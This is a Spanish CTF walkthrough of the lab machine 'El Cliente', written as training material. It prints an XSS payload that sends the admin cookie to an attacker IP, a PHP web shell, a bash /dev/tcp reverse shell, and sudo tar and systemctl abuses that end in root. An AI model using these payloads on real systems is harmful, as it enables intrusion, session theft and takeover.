# El Cliente

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FeSPZzGDtvt78mdnrFSpD%2FElCliente.png?alt=media&#x26;token=9dd89c48-852f-4e67-8683-665a246c5c21" alt=""><figcaption></figcaption></figure>

¡Hola Hacker! Bienvenid@ a un nuevo artículo. En esta ocasión, estaremos resolviendo una nueva máquina, la cual creé para nuestra comunidad de [The Hackers Labs](https://thehackerslabs.com/), la máquina [El cliente](https://thehackerslabs.com/el-cliente/).

## Reconocimiento

Iniciamos, como de costumbre, realizando un envío de paquetes ICMP (ping) hacia la máquina objetivo para verificar la conectividad de la red. Observamos que la máquina responde a nuestros paquetes, lo que confirma que existe comunicación activa entre nuestro sistema y el objetivo.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F8RIjnEq3D60NHzxfnR3p%2FPasted%20image%2020241215163052.png?alt=media&#x26;token=d9826216-2d3c-47a4-80df-921a6632c0be" alt=""><figcaption></figcaption></figure>

Además, al analizar el TTL (Time To Live) del paquete de respuesta, que es de 64, deducimos que el sistema operativo de la máquina objetivo es probablemente Linux. Este valor de TTL es característico de los sistemas Linux en su configuración predeterminada, ya que otros sistemas operativos, como Windows, suelen utilizar valores diferentes (por ejemplo, 128).

## Enumeración inicial

Realizamos un escaneo con `nmap` para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

```bash
❯ nmap -sS -p- --open --min-rate 5000 -Pn -n -oG open_ports -vvv 192.168.1.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 16:29 -03
Initiating ARP Ping Scan at 16:29
Scanning 192.168.1.18 [1 port]
Completed ARP Ping Scan at 16:29, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:29
Scanning 192.168.1.18 [65535 ports]
Discovered open port 22/tcp on 192.168.1.18
Discovered open port 80/tcp on 192.168.1.18
Completed SYN Stealth Scan at 16:30, 26.07s elapsed (65535 total ports)
Nmap scan report for 192.168.1.18
Host is up, received arp-response (0.00070s latency).
Scanned at 2024-12-15 16:29:36 -03 for 26s
Not shown: 42758 filtered tcp ports (no-response), 22775 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:1F:D5:9F (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.21 seconds
           Raw packets sent: 114535 (5.040MB) | Rcvd: 22779 (911.160KB)

```

Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos.

```bash
❯ nmap -sCV -p 22,80 192.168.1.18 -oN services_scan -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 16:31 -03
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
Initiating ARP Ping Scan at 16:31
Scanning 192.168.1.18 [1 port]
Completed ARP Ping Scan at 16:31, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:31
Completed Parallel DNS resolution of 1 host. at 16:31, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:31
Scanning 192.168.1.18 [2 ports]
Discovered open port 80/tcp on 192.168.1.18
Discovered open port 22/tcp on 192.168.1.18
Completed SYN Stealth Scan at 16:31, 0.02s elapsed (2 total ports)
Initiating Service scan at 16:31
Scanning 2 services on 192.168.1.18
Completed Service scan at 16:31, 6.05s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.18.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.22s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
Nmap scan report for 192.168.1.18
Host is up, received arp-response (0.0015s latency).
Scanned at 2024-12-15 16:31:06 -03 for 7s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 16:91:39:66:59:eb:2f:c5:65:3c:9a:41:31:1a:f3:37 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBm45ij8KDUi+j313OzxXg3tdsWAlRfPktQEBIU5b+GML05aHz6y4D0vWyhpHWe4q94oApepJc78urT940zIy3g=
|   256 a7:87:77:81:bd:ce:b2:7b:78:a6:39:00:8b:03:91:16 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH17hNhZeTYGdOv0xNgLdZsdjn56wounp77DFfhQTM4Q
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
MAC Address: 08:00:27:1F:D5:9F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.94 seconds
           Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
```

## Explotación inicial

Ingresamos al puerto 80 y nos encontramos con el siguiente sitio web:

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FJK7Qib63NPIEFKzni98X%2FPasted%20image%2020241215164458.png?alt=media&#x26;token=cbadfcda-be8b-4c2f-a2c6-feeef50a4f5f" alt=""><figcaption></figcaption></figure>

Vemos que si accedemos a alguno de los enlaces del menú, intenta resolver a el dominio `arka.thl`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FjuI3tw6dYtKPV4nPVKI2%2FPasted%20image%2020241215164604.png?alt=media&#x26;token=13688a42-888f-4e9f-ad6a-b30d7f89e1bb" alt=""><figcaption></figcaption></figure>

Registramos este dominio en nuestro archivo `/etc/hosts`.

```bash
echo "192.168.1.18 arka.thl" >> /etc/hosts
```

Navegando por el sitio web, nos encontramos con una sección de contacto la cual presenta un formulario en el que podemos completar además de datos personales un mensaje.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FslZoz7x3EPf0pMRM0kna%2FPasted%20image%2020241215164823.png?alt=media&#x26;token=e1af32f0-9d39-4066-ba68-c425f0ea86fc" alt=""><figcaption></figcaption></figure>

Antes de probar si este formulario presenta vulnerabilidades, podemos realizar un poco de fuzzing de subdominios bajo el dominio principal `arka.thl`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FqzaWRSQic46eKkjgXImI%2FPasted%20image%2020241215165117.png?alt=media&#x26;token=53098a60-00b7-48ae-ab02-a8155b6814c5" alt=""><figcaption></figcaption></figure>

Encontramos un subdominio disponible, `admin.arka.thl`.

Lo agregamos al archivo `/etc/hosts`.

```bash
echo "192.168.1.18 admin.arka.thl" >> /etc/hosts
```

Al ingresar al sitio, nos encontramos con el siguiente login.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FM4s7XMnQ6poAlq95CGww%2FPasted%20image%2020241215165240.png?alt=media&#x26;token=24276c8b-8947-4321-ae50-e2541e003bbd" alt=""><figcaption></figcaption></figure>

Probamos credenciales tipicas, `admin:admin`, `admin:passsword`, `root:toor` `admin:12345678` pero nada. Intentamos con inyecciones SQL pero tampoco logramos nada.

SI recordamos, contabamos con un formulario de contacto a través del cual podemos enviar un mensaje.

El campo mensaje es vulnerable a XSS (Cross Site Scripting) y para llevar a cabo la explotación completaremos el formulario y en el campo de `mensaje` utilizaremos el siguiente payload:

```html
<img src="" onerror="fetch(`http://192.168.1.20/?cookie=${document.cookie}`);" />
```

En este caso use este payload, pero podemos usar otros como por ejemplo:

```html
<script>fetch(`http://192.168.1.20/?cookie=${document.cookie}`);</script>
```

Al cargarse la imagen anterior, se ejecutará el evento `onerror` ya que no se proporciono una ruta de imagen valida.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fk0XZiVME1giqNbhtcyuF%2FPasted%20image%2020241215181543.png?alt=media&#x26;token=071ed6f2-ad0b-44aa-a7c1-bf36c784e7d9" alt=""><figcaption></figcaption></figure>

Antes de enviar el formulario, nos ponemos en escucha con netcat.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F4FNSWa7WmAGkx25koesa%2FPasted%20image%2020241215165906.png?alt=media&#x26;token=032405b9-3270-4ac1-83a7-da34f5a4d1ba" alt=""><figcaption></figcaption></figure>

Enviamos el formulario. Si todo va bien, luego de unos segundos recibiremos una conexión a nuestra máquina atacante con la cookie de sesión del usuario `admin`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fw9GMm4szbqev1JtD3iDb%2FPasted%20image%2020241215170038.png?alt=media&#x26;token=7c03addc-f208-4710-9855-782eec332698" alt=""><figcaption></figcaption></figure>

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fh60U0e4ADztzqSoUSaFe%2FPasted%20image%2020241215170520.png?alt=media&#x26;token=b7c861c4-e087-40ed-88a9-1f2925b05285" alt=""><figcaption></figcaption></figure>

Volvemos al sitio web de `admin.arka.thl` y asignamos el valor de la cookie.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fxn90XMNnvPYoyZqjum2q%2FPasted%20image%2020241215170649.png?alt=media&#x26;token=2d14606f-2916-4a6e-ba6b-b5cfd51f232b" alt=""><figcaption></figcaption></figure>

Recargamos la web y deberíamos ganar acceso al panel de administración.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FU8KJCmfXIa6Q6oWZ534M%2FPasted%20image%2020241215170810.png?alt=media&#x26;token=af4d54f7-c4c9-432b-856e-925367961ea8" alt=""><figcaption></figcaption></figure>

Genial, ganamos acceso al panel.

Si miramos dentro de la sección de proyectos, podemos ver que existe un formulario para cargar nuevos proyectos y uno de los campos solicitados es `Documentos` el cual nos permite cargar archivos. Como indica el mensaje, solo se permiten cargar archivos .pdf, .docx, .png, .jpeg, y .jpg. En este punto, deberíamos cargar el formulario y tramitar la petición por Burp Suite al *Repeater*, para maninpular la misma y modificar extensiones de nuestro interes o el mime type.

En este caso, otra de las extensiones que permite cargar además de las nombradas anteriormente es `.phar`, por lo que cargamos un archivo el cual nos permita ejecutar comandos.

{% code title="shell.phar" %}

```php
<?php system($_GET['cmd']); ?>
```

{% endcode %}

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fx0rropd8c5expxT50T1Z%2FPasted%20image%2020241215171341.png?alt=media&#x26;token=a34e8d60-e50c-4144-ab42-720c1307e52b" alt=""><figcaption></figcaption></figure>

Vemos que una vez creado el proyecto, se lista en la tabla junto al formulario.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FLWmAQAYu6zCARRM8jNus%2FPasted%20image%2020241215172849.png?alt=media&#x26;token=72973bdf-c746-48d9-b812-fc3590e39c7b" alt=""><figcaption></figcaption></figure>

Si accedemos al enlace del documento, logramos acceder a nuestro script.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fusp5v1b8YUGDnHMVt5kU%2FPasted%20image%2020241215172936.png?alt=media&#x26;token=1dc29917-573d-4016-9f4d-37814f92cc6b" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha con netcat por el puerto elegido, en este caso el 443.

```bash
nc -nlvp 443
```

Nos enviamos una reverse shell.

```bash
bash -c "bash -i >& /dev/tcp/192.168.1.20/443 0>&1"
```

Codificamos el `&` como `%26`

```bash
bash -c "bash -i >%26 /dev/tcp/192.168.1.20/443 0>%261"
```

Ganamos acceso al sistema.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FozesA9fewRZ4aqeIA2d4%2FPasted%20image%2020241215173300.png?alt=media&#x26;token=65ba8a9a-d864-4c7d-bd6d-82cd772a0086" alt=""><figcaption></figcaption></figure>

Hacemos el tratamiento de la tty para tener una terminal más interactiva:

* `script /dev/null -c bash`
* CTRL + Z
* `stty raw -echo; fg`
* `reset xterm`
* `export TERM=xterm`
* `export SHELL=bash`
* `stty rows <rows> columns <columns>`

## www-data -> scott

Si miramos el archivo de conexión a la base de datos `db.php` vemos la contraseña del usuario `scott` y en el sistema existe un usuario con ese nombre, por lo que podemos probar si existe reutilización de contraseña.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F1gQhoKWAStboE97R2rmA%2FPasted%20image%2020241215173533.png?alt=media&#x26;token=056350a4-0eef-4e1d-b1e7-ceb561feea83" alt=""><figcaption></figcaption></figure>

Efectivamente, la contraseña es valida.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Foo6qO17xwwXdDWR98moR%2FPasted%20image%2020241215173636.png?alt=media&#x26;token=b05bd657-d89e-4f63-906d-f2bd7e79fe06" alt=""><figcaption></figcaption></figure>

## scott -> kobe

Si realizamos una enumeración básica, vemos que podemos ejecutar el binario `tar` como el usuario **kobe**.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FpF19Zw3g3eJE7T70Ug7g%2FPasted%20image%2020241215174626.png?alt=media&#x26;token=f009311b-c28a-441e-b1f1-f3b1da8288e7" alt=""><figcaption></figcaption></figure>

Nos movemos al usuario **kobe** de la siguiente manera:

```bash
sudo -u kobe /usr/bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
```

> Referencia: [Tar | GTFOBins](https://gtfobins.github.io/gtfobins/tar/#sudo)

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FEaDWaUq7JW6cHUDPHuIg%2FPasted%20image%2020241215174721.png?alt=media&#x26;token=7ee5cb79-30f5-4320-a54e-c21322e83335" alt=""><figcaption></figcaption></figure>

Leemos el flag de user.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FtWQFHEx9CEVkZRy1ojjt%2FPasted%20image%2020241215180351.png?alt=media&#x26;token=f7134fef-7e04-463b-87d1-c87560aeb74e" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Si realizamos nuevamente una enumeración, vemos que podemos ejecutar con sudo el binario `systemctl`, para lo cual abusaremos de este creando un servicio falso que asigne permisos suid a el binario `/bin/bash`.

```bash
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "chmod u+s /bin/bash"
[Install]
WantedBy=multi-user.target' > evil.service
```

```bash
sudo systemctl link /home/kobe/evil.service
sudo systemctl enable --now /home/kobe/evil.service
```

De esta forma, logramos escalar privilegios.

> Referencia: [systemctl | GTFOBins](https://gtfobins.github.io/gtfobins/systemctl/#sudo)&#x20;

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fi1F9RJmHPC2hpVHz2Dzk%2FPasted%20image%2020241215180210.png?alt=media&#x26;token=b3a59133-5926-4c56-a48e-ceeadcd54c63" alt=""><figcaption></figcaption></figure>

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FLvVFwBLYseGRALLIiNv7%2FPasted%20image%2020241215180223.png?alt=media&#x26;token=4c1e6375-8a7f-424f-98a0-f45c5b6ac6f2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FgXERUEn6vzWAMSYi8Hwk%2FPasted%20image%2020241215180237.png?alt=media&#x26;token=b935239c-dcd5-450d-bd36-c6a0600f7fab" alt=""><figcaption></figcaption></figure>

## Post Explotación

Por ultimo, leemos el flag de root.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fe9Ql64aHoA1PRHVblIit%2FPasted%20image%2020241215180320.png?alt=media&#x26;token=beab479c-7979-4b23-9ca7-465ae852d0ed" alt=""><figcaption></figcaption></figure>

De esta forma, llegamos al final de la máquina **El Cliente**.

Si te gustó este CTF, te inivito a que lo compartas.

Si aun no eres parte de nuestra comunidad, te dejo los enlaces a la web [The Hackers Labs](https://thehackerslabs.com/) y a el servidor de [Discord](https://discord.gg/3tpr7aZBfE).

Gracias por tu lectura!

Happy Hacking!
